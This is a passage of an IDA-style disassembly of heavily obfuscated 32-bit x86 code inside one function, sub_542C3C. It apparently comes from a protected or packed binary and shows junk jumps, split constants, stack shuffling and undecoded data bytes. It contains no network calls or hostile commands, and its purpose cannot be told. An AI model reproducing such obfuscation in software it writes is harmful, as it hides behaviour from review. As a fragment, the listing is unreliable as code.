eax, 4 xchg eax, [esp+84h+var_84] mov esp, [esp+84h+var_84] mov [esp+84h+var_84], edx mov edx, 1B271F96h add ebx, 107C7395h jmp loc_563E11 ; --------------------------------------------------------------------------- loc_55CF80: ; CODE XREF: sub_542C3C+15AF5j sub edx, esi push ebp mov ebp, 334566Fh jmp loc_55F05F ; --------------------------------------------------------------------------- db 5Eh, 5Ah, 81h dd 4C2h, 0ABFE900h, 0C4830000h, 4C38104h, 87000000h, 0F75C241Ch dd 0A45CE9F9h, 48F0000h, 0B647E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CFB6: ; CODE XREF: sub_542C3C+22E75j mov eax, 304C5ACCh sub eax, ebx jmp loc_5609B2 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 0FFA284E9h, 632268FFh, 4890000h, 68E08924h dd 6DACh, 9974E9h db 0 ; --------------------------------------------------------------------------- loc_55CFE1: ; CODE XREF: sub_542C3C+2457Bj add edi, ebp sub edi, 1D2C151Bh push ebp mov ebp, 43F12D48h shl ebp, 2 dec ebp neg ebp add ebp, 17BF0BF7h jmp loc_55BF9A ; --------------------------------------------------------------------------- dd 0C381D3F7h, 733553FFh, 3057CB81h, 0EC8167C7h, 4, 1671E9h dd 4C58100h, 83000000h, 2C8704C5h, 0CF50E924h, 77FFFFFFh dd 651AE92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D032: ; CODE XREF: sub_542C3C+1C4B9j shl edi, 7 shr edi, 4 inc edi add edi, 0FE0CBB39h sub ecx, edi pop edi or ebp, ecx pop ecx jmp loc_5673C2 ; --------------------------------------------------------------------------- dw 1C8Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 64087100h or eax, 45275118h jmp loc_55E7A4 ; --------------------------------------------------------------------------- loc_55D066: ; CODE XREF: sub_542C3C+16041j sub ecx, 4DC2044Fh jmp loc_55BA41 ; --------------------------------------------------------------------------- loc_55D071: ; CODE XREF: sub_542C3C+197F4j xor edx, 51180004h add ecx, edx pop edx push ecx jmp loc_55D759 ; --------------------------------------------------------------------------- dd 0FCE7E958h, 0C681FFFFh, 3E423958h, 69ADEE81h, 0E9587A35h dd 3F5Dh, 5B93BF57h, 474F6F63h, 5918C781h, 0CF811FE6h dd 2EC43DBCh, 0BDBBEF81h, 0F889AFCDh, 8DF7E95Fh, 0A6B9FFFFh dd 5663A613h, 2A32B3BEh, 34F3BB6Dh, 0F3291AA0h, 59CB015Eh dd 32A8E381h, 0F3814C27h, 410A4h, 0DCBE955h, 0C3810000h dd 54A2D32h, 53FFC383h, 33243C31h, 0BEE9243Ch db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D0F7: ; CODE XREF: sub_542C3C+162FDj add esp, 4 xchg eax, ebx push edx push ebx jmp loc_553DCB ; --------------------------------------------------------------------------- dw 0C89h dd 0AFA0E924h, 8956FFFFh, 4B951E6h, 1000000h, 515259CEh dd 0FF8BB2E9h, 7EAC1FFh, 0A8AAC281h, 0D001FEDBh, 0FFF5B6E9h dd 0FBC981FFh, 81081C78h, 0F8A50FF1h, 0A551E9F9h, 0EA81FFFFh dd 3F9D4DB9h, 312FC281h, 0C2011237h, 312FEA81h, 4D681237h dd 89000054h, 0B9BF243Ch, 13F9D4Dh, 0BD555FFAh, 696A26A7h dd 3DEACD81h, 56E933DFh, 50000054h, 405E089h, 52000000h dd 94506A68h, 0CA815A4Dh, 65D012C9h, 0E9DAF742h, 0FFFFFF8Dh dd 0D7EA8159h, 81636D3Fh, 136432EAh, 81EA291Eh, 136432C2h dd 0D7C2811Eh, 5D636D3Fh, 9029E9h db 0 ; --------------------------------------------------------------------------- loc_55D1B1: ; CODE XREF: sub_542C3C+23B08j add esp, 4 jmp loc_55FE79 ; --------------------------------------------------------------------------- loc_55D1BC: ; CODE XREF: sub_542C3C+21462j pop ecx jmp loc_558725 ; --------------------------------------------------------------------------- loc_55D1C2: ; CODE XREF: sub_542C3C+12E60j dec ebx jmp loc_56197A ; --------------------------------------------------------------------------- loc_55D1C8: ; CODE XREF: sub_542C3C+172E2j push [esp+6Ch+var_6C] pop eax push esi mov esi, esp add esi, 4 jmp loc_5580C7 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFD88Eh, 0E0F1815Eh, 890D0D49h, 733559C8h, 3170A203h dd 0D7E958C3h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1F7: ; CODE XREF: sub_542C3C+19A97j xor edi, 31EB1EDAh jmp loc_5578AC ; --------------------------------------------------------------------------- dw 0C781h dd 251A5A75h, 0EF81C701h, 251A5A75h, 0D5C18158h, 8150A82Eh dd 4E2494E9h, 0E9F90134h, 5F3Ah, 4BD55h, 55500000h, 614CE9h db 0 ; --------------------------------------------------------------------------- loc_55D231: ; CODE XREF: sub_542C3C+141B6j mov esi, [esp+8Ch+var_8C] push ebp mov ebp, esp push esi mov esi, 4 jmp loc_5612A3 ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 86DC281h, 0EA816B36h, 53717588h, 7F9AE9h, 241C8900h dd 0FFBB7CE9h, 243487FFh, 12F9685Ch, 2C890000h, 78846824h dd 0AEE90000h, 6600005Fh, 50240C8Bh, 5404EC83h, 8324048Fh dd 58042404h, 4EC8151h, 89000000h, 0BF572434h, 6B2D177Ch dd 68DDE781h, 0F7873BFCh, 0FF9972E9h, 8036B2FFh, 0D9E914EAh dd 8B000037h, 89502404h, 405E0h, 4050000h, 0E9000000h dd 0FFFFFB9Ah ; --------------------------------------------------------------------------- loc_55D2C4: ; CODE XREF: sub_542C3C+18CB7j mov [esp+48h+var_48], ecx push esp pop ecx push eax mov eax, 3C72675h not eax or eax, 7E360B0h not eax inc eax jmp loc_55BE91 ; --------------------------------------------------------------------------- dw 0C380h dd 0E3C05AD5h, 9680E903h, 34FF0000h, 5F685824h, 89000044h dd 0D3E9242Ch, 3000002Dh, 4EC83C3h, 0FFEE78E9h, 0C78957FFh dd 0E95FFE89h, 0FFFFABD8h ; --------------------------------------------------------------------------- loc_55D310: ; CODE XREF: sub_542C3C+17BA2j mov word ptr [esp+82h+var_84+2], dx mov dl, 0ADh push ecx mov ch, 2Eh add al, ch jmp loc_55B945 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFE1B5h, 4EC81h, 1C890000h, 0ECE6824h dd 535B7223h, 0C73978BBh, 2444813Fh, 0FE411408h, 24448133h dd 0C7660A08h, 245C0105h, 9C9EE908h, 34FF0000h, 57505824h dd 0C781E789h, 4, 4EF81h, 3C330000h, 243C3124h, 5C243C33h dd 0C14DE954h, 94BDFFFFh, 0C17F3E71h, 0CAE908E5h, 89000092h dd 0EB015FFBh, 0E92434FFh, 478Fh, 66241C89h, 8966EB89h dd 8B665BD8h, 0C483242Ch, 0E0C16602h, 492D6605h, 6648662Fh dd 6655D0F7h, 665DF2BDh, 8166E5D1h, 667ACCF5h, 6606EDC1h dd 0C33F581h, 5DE80166h, 9647E9h, 5FB6800h, 1C890000h dd 2474FF24h, 0CBE95B04h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D3E3: ; CODE XREF: sub_542C3C+1B53Aj push edx mov edx, 18862AF9h add edx, 0FFFFFFFFh jmp loc_55F30C ; --------------------------------------------------------------------------- aS_5 db '[é<\',0 align 2 loc_55D3FA: ; CODE XREF: sub_542C3C+220D7j pop ebx add esp, 4 jmp loc_55E692 ; --------------------------------------------------------------------------- aVsvb db 'Vév¡',0 db 0 ; --------------------------------------------------------------------------- loc_55D409: ; CODE XREF: sub_542C3C+12747j mov ebp, [esp+94h+var_94] add esp, 4 jmp loc_55F166 ; --------------------------------------------------------------------------- db 83h dd 0FF5304EBh, 5B042474h, 5C24048Fh, 7A25E954h, 0C4810000h dd 4, 632FE959h, 0DF010000h, 6E4DC781h, 3BE94067h, 80FFFF9Ch dd 0B60F64C3h, 87048FC0h, 3028E9h db 0 ; --------------------------------------------------------------------------- loc_55D451: ; CODE XREF: sub_542C3C+20BCDj dec ebx push edx mov edx, 1DE38AAh sub ebx, 433C015Bh sub ebx, edx add ebx, 433C015Bh pop edx jmp loc_55A5FF ; --------------------------------------------------------------------------- loc_55D46C: ; CODE XREF: sub_542C3C+14C73j add esp, 4 add edi, 1900756Dh push eax mov eax, 3A4B6BD7h jmp loc_55F83F ; --------------------------------------------------------------------------- aQsjl db 'QéJL',0 dd 11CD8100h, 814E9F13h, 0C45E5BF5h db 4Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+54h+var_54] pop esp mov [esp+50h+var_50], esi mov esi, 332F58C2h push ecx mov ecx, 76ED148Fh jmp loc_56720F ; --------------------------------------------------------------------------- loc_55D4BB: ; CODE XREF: sub_542C3C+2301Bj pop edx add esi, 4 jmp loc_555624 ; --------------------------------------------------------------------------- db 59h dd 8704C583h, 55C242Ch, 4, 65DA68h, 24148900h, 0CD427BBAh dd 0EEE94A06h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D4E7: ; CODE XREF: sub_542C3C+21503j xor edi, 4CB61C3h jmp loc_55D697 ; --------------------------------------------------------------------------- loc_55D4F2: ; CODE XREF: sub_542C3C+1738Ej shr eax, 6 sub eax, 0A7B9E04Ch jmp loc_55770D ; --------------------------------------------------------------------------- loc_55D4FF: ; CODE XREF: sub_542C3C+17040j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+5Ch+var_5C] pop esp push 86Ch mov [esp+5Ch+var_5C], ebx push 1 mov ebx, [esp+60h+var_60] jmp loc_56628D ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 24041858h, 6016E99Ch, 0FDBAFFFFh, 8921987Fh dd 6DE95AD6h, 57000006h, 0FFB414E9h, 2434FFFFh, 30B3E9h dd 243C8700h, 0FFD070E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D559: ; CODE XREF: sub_542C3C+1BC13j shl eax, 2 jmp loc_55BD4E ; --------------------------------------------------------------------------- loc_55D561: ; CODE XREF: sub_542C3C+24887j pop edi sub ebp, 4 xchg ebp, [esp+5Ch+var_5C] jmp loc_562D4C ; --------------------------------------------------------------------------- loc_55D570: ; CODE XREF: sub_542C3C+22A8Dj push 233h mov [esp+60h+var_60], ecx mov ecx, 6065067Ah add eax, ecx mov ecx, [esp+60h+var_60] add esp, 4 jmp loc_55999F ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C4h dd 4, 8B24048Fh, 0BE562424h, 4, 0A69EA81h, 0BDE94C65h dd 55000064h, 49011ABDh, 50F58167h, 0E93A447Fh, 0FFFFA7B6h dd 0A8E9FE01h, 0BD0000AAh, 4D0C11E6h, 815DEB29h, 0D1FD0C3h dd 81F3011Dh, 0D1FD0EBh, 0ED08E91Dh, 0C281FFFFh, 4B02E2B1h dd 0E95AD601h, 0FFFF9ACDh ; --------------------------------------------------------------------------- loc_55D5EC: ; CODE XREF: sub_542C3C+24720j pop esi sub esp, 4 mov [esp+5Ch+var_5C], edi mov edi, 7C810CF8h add ebx, edi pop edi sub ebx, eax sub esp, 4 jmp loc_553ECF ; --------------------------------------------------------------------------- dd 20B85052h, 508C347h, 0F73CB8FCh, 0FFF2BFE9h, 240489FFh dd 4668E089h, 89000031h, 0FB68243Ch, 0E900004Bh, 0FFFFA9ADh dd 0C8BCE89h, 4C48324h, 15EF531h, 0C1815DE9h, 4, 0E9240C33h dd 0FFFF6DCCh ; --------------------------------------------------------------------------- loc_55D64C: ; CODE XREF: sub_542C3C+1D1E4j mov esi, esp add esi, 4 jmp loc_557940 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aYhum db 'YhUM',0 align 2 dw 0EFE9h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D667: ; CODE XREF: sub_542C3C+1DF48j add edi, 0FFBE8EEDh jmp loc_562C81 ; --------------------------------------------------------------------------- dw 0C281h dd 335E5DD1h, 434E9h, 53D8F700h, 0EC1BDBBBh, 0E9D801B9h dd 0FFFFC76Eh, 42Dh, 3EE95000h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D697: ; CODE XREF: sub_542C3C+1A8B1j or edi, 518E2D84h push esi push edx mov edx, 3ED40A25h mov esi, edx pop edx jmp loc_55DFFA ; --------------------------------------------------------------------------- loc_55D6AC: ; CODE XREF: sub_542C3C+1FE31j add esp, 4 sub esi, 0FFFFFFFFh xor esi, 18F5664Ah push ecx mov ecx, 74FEA37h jmp loc_55AAB3 ; --------------------------------------------------------------------------- db 58h dd 8103E3C1h, 33321CF3h, 7EE38130h, 4B7FFC45h, 50CAC381h dd 0D831A03Ah, 52575A5Bh, 33225C68h, 31D3E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D6EA: ; CODE XREF: sub_542C3C+1C4C5j pop eax mov edi, edx pop edx sub ecx, edi mov edi, [esp+4Ch+var_4C] add esp, 4 xor ecx, [esp+48h+var_48] xor [esp+48h+var_48], ecx jmp loc_555BF3 ; --------------------------------------------------------------------------- db 58h, 81h, 0C6h dd 4, 5C243487h, 1124E9h db 0 ; --------------------------------------------------------------------------- loc_55D711: ; CODE XREF: sub_542C3C+1CD68j push 0D8ECEE54h jmp loc_55789B ; --------------------------------------------------------------------------- db 0B8h dd 278D4DB1h, 0F758C321h, 2E3C1D3h, 0EB81D3F7h, 182410C3h dd 0E7BEA81h, 0DA016A49h, 93C3E9h, 24248B00h, 0FF5E07E9h dd 0F6AFB5FFh, 0DAED80D5h, 0FFE701E9h, 240C87FFh, 0FFE041E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D759: ; CODE XREF: sub_542C3C+1A43Fj push [esp+86h+var_84+2] pop ecx pop [esp+86h+var_88+2] mov esp, [esp+82h+var_84+2] jmp loc_568548 ; --------------------------------------------------------------------------- aS4c db '[é4—',0 dw 100h dd 0B2E950F2h, 87FFFFC6h, 835C241Ch, 0C8904ECh, 288CB124h dd 8EE959C8h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D78B: ; CODE XREF: sub_542C3C+173F6j mov [esp+58h+var_58], ecx sub esp, 4 mov [esp+5Ch+var_5C], esp jmp loc_56606D ; --------------------------------------------------------------------------- loc_55D799: ; CODE XREF: sub_542C3C+11055j mov [esp+60h+var_60], ecx sub esp, 4 mov [esp+64h+var_64], edx mov dl, 4Fh or dl, 16h sub dl, 0F2h mov cl, dl mov edx, [esp+64h+var_64] add esp, 4 sub esp, 4 jmp loc_555067 ; --------------------------------------------------------------------------- db 0F7h dd 14F757DFh, 0C7815F24h, 0ACDE5F85h, 0E95FF989h, 0FFFFB221h dd 8245401h, 884FE9h db 0 ; --------------------------------------------------------------------------- loc_55D7E1: ; CODE XREF: sub_542C3C+16D6Cj push edx mov edx, 2AA9560Dh mov edi, 47704798h xor edi, edx jmp loc_566C5F ; --------------------------------------------------------------------------- aZhF db 'Zh#f',0 dd 24348900h, 6D87E9h, 4C48300h, 674B68h, 24148900h, 24148B5Eh dd 81E68956h, 4C6h, 4C68300h, 31243433h, 94E92434h, 0FFFFFFB2h dd 669D1C77h, 4196658h, 15E99C24h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D837: ; CODE XREF: sub_542C3C+18CC7j add esp, 4 xor ebx, [esp+80h+var_80] xor [esp+80h+var_80], ebx xor ebx, [esp+80h+var_80] pop esp push 26F1h mov [esp+80h+var_80], edi push 1B8Eh mov [esp+84h+var_84], ebx push 2951h jmp loc_557D8E ; --------------------------------------------------------------------------- db 5Fh, 5Ah, 1 dd 2CC105E8h, 2C8B47C7h, 3F9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D872: ; CODE XREF: sub_542C3C+16766j pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0A6h+var_A6] pop esp mov [esp+0A2h+var_A2], edx push esp jmp loc_556697 ; --------------------------------------------------------------------------- db 35h dd 738C45B5h, 478E6B35h, 7DEBE924h, 0A9E9FFFFh, 0F7FFFF5Ch dd 4F63E9D6h, 1EB80000h, 1282A33h, 31E95EF0h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D8B7: ; CODE XREF: sub_542C3C+241B6j sub esp, 4 mov [esp+0AAh+var_AA], edi jmp loc_557C5D ; --------------------------------------------------------------------------- dw 8B66h dd 54572404h, 5F2434FFh, 4C481h, 36E90000h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8D7: ; CODE XREF: sub_542C3C+257F1j push esi mov esi, 150866A4h shr esi, 2 xor esi, 54219ADh add ebp, esi pop esi jmp loc_5684BA ; --------------------------------------------------------------------------- dw 1968h dd 89000074h, 0E954242Ch, 29F1h, 98CCB81h, 0E9503A86h dd 0FFFFA66Bh ; --------------------------------------------------------------------------- loc_55D908: ; CODE XREF: sub_542C3C+1E5C4j mov [esp+0AAh+var_AA], ecx mov ecx, 0F4C1420h add [esp+0AAh+var_A2], ecx mov ecx, [esp+0AAh+var_AA] add esp, 4 add [esp+0A6h+var_A2], ebx sub [esp+0A6h+var_A2], 0F4C1420h push ebp mov ebp, 64C3683Ah add [esp+0AAh+var_A2], 12472DC9h add [esp+0AAh+var_A2], ebp sub [esp+0AAh+var_A2], 12472DC9h pop ebp mov ebx, [esp+0A6h+var_A6] push 2FB6h mov [esp+0AAh+var_AA], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0AAh+var_AA] pop esp pop esi push edx mov edx, 56066D1Bh jmp loc_5676C3 ; --------------------------------------------------------------------------- aFxszl db 'fXéz‹',0 dd 2474FF00h, 48F5E04h, 0F1815924h, 7CEE1341h, 0FFB861E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D985: ; CODE XREF: sub_542C3C+192CFj mov ebp, [esp+48h+var_48] add esp, 4 pop ecx sub eax, ebp pop ebp xor eax, [esp+3Ch+var_3C] xor [esp+3Ch+var_3C], eax xor eax, [esp+3Ch+var_3C] mov esp, [esp+3Ch+var_3C] mov [esp+3Ch+var_3C], esi jmp loc_564BAA ; --------------------------------------------------------------------------- loc_55D9A6: ; CODE XREF: sub_542C3C+123BEj pop esi jmp loc_5580F8 ; --------------------------------------------------------------------------- loc_55D9AC: ; CODE XREF: sub_542C3C+257D9j mov edx, 87DFB962h add edx, edi pop edi push eax jmp loc_55F0FA ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5597F6 ; --------------------------------------------------------------------------- loc_55D9C2: ; CODE XREF: sub_542C3C+1D306j xor ecx, esi jmp loc_55944C ; --------------------------------------------------------------------------- loc_55D9C9: ; CODE XREF: sub_542C3C+1655Ej push ebp jmp loc_5613C4 ; --------------------------------------------------------------------------- db 5Fh dd 7AF4BA52h, 0F28174C1h, 4340408Fh, 0BE56504Ah, 52822DB7h dd 6A1CBA52h, 0E2C14CB8h, 0DAF74A04h, 70B0F281h, 0D62934C0h dd 0A2CE815Ah, 0F7230342h, 0BEE81DEh, 81796528h, 3D3736CEh dd 13EE8119h, 89C4F6AEh, 81E95EF0h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA1B: ; CODE XREF: sub_542C3C+1B5E9j push ebp push edi push 643E47FDh jmp loc_566303 ; --------------------------------------------------------------------------- loc_55DA27: ; CODE XREF: sub_542C3C+10F52j xor ebp, edi jmp loc_566F92 ; --------------------------------------------------------------------------- loc_55DA2E: ; CODE XREF: sub_542C3C+1998Fj mov eax, esp jmp loc_55A4A3 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 54010000h, 0FF5A0424h, 835B2434h, 0C38104C4h, 4, 63F768h dd 243C8900h, 4BE1E9h, 2A9C6800h, 3C890000h, 0E2C0E924h dd 34FFFFFFh, 99EFE987h, 0C483FFFFh, 3FEE8104h, 0E96C2B74h dd 0FFFF761Dh ; --------------------------------------------------------------------------- loc_55DA7C: ; CODE XREF: sub_542C3C+1C603j pop edi add edx, ecx pop ecx push eax mov eax, 2 push ecx push edi mov edi, 63841388h mov ecx, edi pop edi shr ecx, 6 jmp loc_5649CD ; --------------------------------------------------------------------------- dd 4EF81h, 3C870000h, 24248B24h, 0B8240489h, 24310C74h dd 0FF6648E9h, 55FA01FFh, 0FFF8C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DAB9: ; CODE XREF: sub_542C3C+11035j pop esi shr esi, 4 push 4DD5h jmp loc_55C349 ; --------------------------------------------------------------------------- db 8Bh dd 0EC812424h, 4, 81241C89h, 4ECh, 0BBE95400h, 500005Eh dd 0C0A0D69h, 4B7F2D48h, 0C229F2F1h, 0E9D52958h, 0FFFFCFB2h dd 4343DBF7h, 8582E9h db 0 ; --------------------------------------------------------------------------- loc_55DAFD: ; CODE XREF: sub_542C3C+22F03j sub ecx, edx jmp loc_55BEFF ; --------------------------------------------------------------------------- aAi db '[€ëÕ',0 db 0D3h, 0E9h, 0CFh dd 5DFFFFF7h, 5A5BDF29h, 8C30E9h, 0C8B6600h, 3D406824h dd 0C890000h, 0C8B5424h, 4C48124h, 53000000h, 0AD37E9h dd 0FFFFBE00h, 0F529FFFFh, 493FE95Eh, 0FF5C0000h, 34FF2434h dd 2434FF24h, 4B6BE9h, 7E95500h, 81000079h, 4C4h, 8BFE8900h dd 0C483243Ch, 1C166804h, 1C890000h, 4ABDBB24h, 0F3E92AE3h dd 2900007Bh, 63EB81F3h, 5E143542h, 2474FF53h, 48F5B04h dd 2C895C24h, 0A3D6E924h, 0C1830000h, 240C3304h, 33240C31h dd 24E9240Ch, 0F6FFFFFFh, 6BC780D7h, 0E9A9EF80h, 8502h dd 1725CE81h, 0E9533F77h, 904h, 0C6E9F329h, 87FFFFCBh dd 505C2434h, 93C48EB8h, 58C6014Fh, 0A754E9h, 5DEA3100h dd 171C872Dh, 6AAA0544h, 0D029127Eh, 7E6AAA2Dh, 1C870512h dd 0AE94417h, 8100009Bh, 9406C9EEh, 2EEE8128h, 68206476h dd 1D23h, 0BB241C89h, 50393F7Fh, 0FFAA69E9h, 5B5453FFh dd 4C381h, 0BF570000h, 4, 535FFB29h, 42474FFh, 24048F5Bh dd 242C895Ch, 9DE9E589h, 81FFFFABh, 0A927E1EDh, 4FCD8174h dd 8147AA18h, 0B614A8C5h, 63ED811Ch, 0E9587F51h, 0FFFFC1E6h dd 241C8966h, 773AE9h, 4C38100h, 83000000h, 1C8704C3h dd 24248B24h, 7E07E9h db 0 ; --------------------------------------------------------------------------- loc_55DC71: ; CODE XREF: sub_542C3C+202E8j push ebx jmp loc_55A04F ; --------------------------------------------------------------------------- db 53h dd 73CB8BBh, 0E9D9312Dh, 0FFFFB46Ch ; --------------------------------------------------------------------------- loc_55DC84: ; CODE XREF: sub_542C3C+224B9j push edx mov edx, 4 jmp loc_555B29 ; --------------------------------------------------------------------------- db 68h dd 5CBFh, 57240489h, 629E9h, 1EB8000h, 0DBF6CBFEh, 8005E3C0h dd 0D830F1F3h, 52D0F65Bh, 516611B2h, 6602EC83h, 0B7241C89h dd 66FD8879h, 66EA085Bh, 83240C8Bh, 0E28002C4h, 80D2F6B8h dd 0D03099C2h, 0E924148Bh, 0FFFFBDBBh ; --------------------------------------------------------------------------- loc_55DCDC: ; CODE XREF: sub_542C3C+12926j pop eax sub edi, 24C970EEh jmp loc_566079 ; --------------------------------------------------------------------------- dd 2C8BE829h, 4C48124h, 8B000000h, 47E9240Ch db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCFB: ; CODE XREF: sub_542C3C+23438j pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+94h+var_94] pop esp push ebx mov ebx, esp push ecx mov ecx, 4 jmp loc_55BDDC ; --------------------------------------------------------------------------- loc_55DD1A: ; CODE XREF: sub_542C3C+19721j add esi, edi pop edi jmp loc_55F997 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9572404h, 9CCAh ; --------------------------------------------------------------------------- loc_55DD2C: ; CODE XREF: sub_542C3C+12898j push ebp push [esp+9Ch+var_98] pop ebp pop [esp+9Ch+var_9C] pop esp pop [esp+94h+var_94] pop esp jmp loc_562798 ; --------------------------------------------------------------------------- db 59h dd 0E908F780h, 0FFFFBE5Fh, 1D0141BDh, 2E5C131h, 19ADF581h dd 0EB31CE06h, 34D0685Dh, 2C890000h, 59776824h, 19E92B91h dd 8800002Ch, 240C8BEAh, 4C481h, 0F6580000h, 3E2C0DAh dd 0C1C280h, 0B6D2E9D5h, 665FFFFFh, 7193C381h, 0AEC38166h dd 0C3296662h, 0AEEB8166h, 0EB816662h, 66587193h, 7A03C381h dd 0E9C32966h, 540Ah ; --------------------------------------------------------------------------- loc_55DDAC: ; CODE XREF: sub_542C3C+1F314j xchg ebp, [esp+8Ch+var_8C] jmp loc_55AD38 ; --------------------------------------------------------------------------- dd 5D86BA52h, 0EA81289Ah, 0DA3322B1h, 0FFA181E9h, 242C87FFh dd 241C895Ch, 0C381E389h, 4, 8904EC83h, 0BB532414h, 2 dd 0B0E9DA89h db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DDE7: ; CODE XREF: sub_542C3C+222CCj add ecx, 4 xor ecx, [esp+8Ch+var_8C] jmp loc_55BF23 ; --------------------------------------------------------------------------- loc_55DDF2: ; CODE XREF: sub_542C3C+2274Ej push ecx mov ecx, 149A32F3h neg ecx and ecx, 68D76D34h sub ecx, 79D54D51h add ecx, 510250E9h mov ebp, ecx pop ecx jmp loc_56667D ; --------------------------------------------------------------------------- dd 0E9FFC180h, 0FFFFA391h ; --------------------------------------------------------------------------- loc_55DE1C: ; CODE XREF: sub_542C3C+15B0Fj xor ebx, ecx pop ecx jmp loc_55BF44 ; --------------------------------------------------------------------------- loc_55DE24: ; CODE XREF: sub_542C3C+16636j pop ecx pop [esp+84h+var_84] jmp loc_554EA2 ; --------------------------------------------------------------------------- db 1, 0EEh, 8Bh dd 0C481242Ch, 4, 0FF95F8E9h, 0E38953FFh, 4C381h, 0BE560000h dd 4, 4263C381h, 20E91435h, 8BFFFFFDh, 38E9242Ch db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE5F: ; CODE XREF: sub_542C3C+12B6Dj add esp, 4 jmp loc_565337 ; --------------------------------------------------------------------------- db 80h dd 0E6C0D4F6h, 50D6F603h, 0E8E9F0B4h, 9FFFFB4h, 1C8B1C5Fh dd 0D1E95524h, 0FFFFFF71h, 0E9582434h, 542h, 3FFCE981h dd 0C581903Eh, 17F12CC6h, 0FFB211E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DE9D: ; CODE XREF: sub_542C3C+2358Cj shr esi, 7 sub esi, 3EF7AED7h add eax, esi jmp loc_5535EA ; --------------------------------------------------------------------------- db 0BDh, 37h, 6Bh dd 0CD8147A0h, 492D037Dh, 8106E5C1h, 3F95D4EDh, 5DE901B7h dd 1551E9h, 9AE95700h, 8900006Eh, 6768242Ch, 0E900000Bh dd 0FFFF9FFCh, 6AEB6857h, 34890000h, 0C0BA5224h, 814B8335h dd 8335C4F2h, 0E9D6894Bh, 0FFFFB051h, 5E2C14Ah, 495BB53h dd 0DA017B9Fh, 0DB07E95Bh, 0FBB7FFFFh, 6859CF28h, 17CDh dd 5190E9h, 241C8700h, 8924248Bh, 0FF54243Ch, 835F2434h dd 685304C4h, 321629EDh, 81241C8Bh, 4C4h, 0E9EB8100h, 81321629h dd 0F76759C7h, 4DEF8148h, 0E940676Eh, 0FFFFF4E6h, 0BB241C89h dd 538C0997h, 0FFF99FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF5D: ; CODE XREF: sub_542C3C+252DEj pop ebx jmp loc_565E60 ; --------------------------------------------------------------------------- loc_55DF63: ; CODE XREF: sub_542C3C+1CFF9j shl esi, 2 sub esi, 294B5AB4h push ebp jmp loc_561D77 ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 0FF669FE9h, 0BEE80FFh, 0F0E95166h, 29FFFFE4h dd 5A74E9EEh, 0F187FFFFh, 0FFCE7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF95: ; CODE XREF: sub_542C3C+1980Ej push esi mov esi, esp add esi, 4 push edx mov edx, 415450C0h shr edx, 7 jmp loc_55B877 ; --------------------------------------------------------------------------- dd 5BDE895Ah, 0F75EF789h, 2E950DFh, 5300004Fh, 0F7241487h dd 241487D2h, 4EC815Bh, 89000000h, 74FF241Ch, 0B6E90424h dd 0BAFFFFC5h, 507B7C20h, 815AD601h, 532E4EEh, 1C68351h dd 0EE81D6F7h, 0EA615F78h, 348BF701h, 0B097E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DFFA: ; CODE XREF: sub_542C3C+1AA6Bj push 237Dh mov [esp+58h+var_58], edi mov edi, 21EB7505h not edi not edi sub edi, 22276FF5h jmp loc_557C37 ; --------------------------------------------------------------------------- dw 0BF57h dd 4, 15FFA89h, 3C335AD7h, 279EE924h, 0F65A0000h, 7DE952D5h dd 52FFFF88h, 0DAF631B2h, 8021E280h, 0D00074F2h, 0C8B665Ah dd 2C48124h, 80000000h, 0C380C8EBh, 0DDEB80C6h, 0C0B75351h dd 0FFECAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E05D: ; CODE XREF: sub_542C3C+17054j add ebp, ecx pop ecx xor ebp, 20B011Bh jmp loc_55C0BE ; --------------------------------------------------------------------------- db 5 dd 61FC5DBBh, 0BB2DE801h, 0E961FC5Dh, 0FFFFC41Eh, 0FF54CBE9h dd 0D85A05FFh, 0C7E9B786h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E08B: ; CODE XREF: sub_542C3C+22AD9j mov [esp+58h+var_58], ecx mov ecx, 79855B1Eh add ecx, 0FFFFFFFFh push edx mov edx, 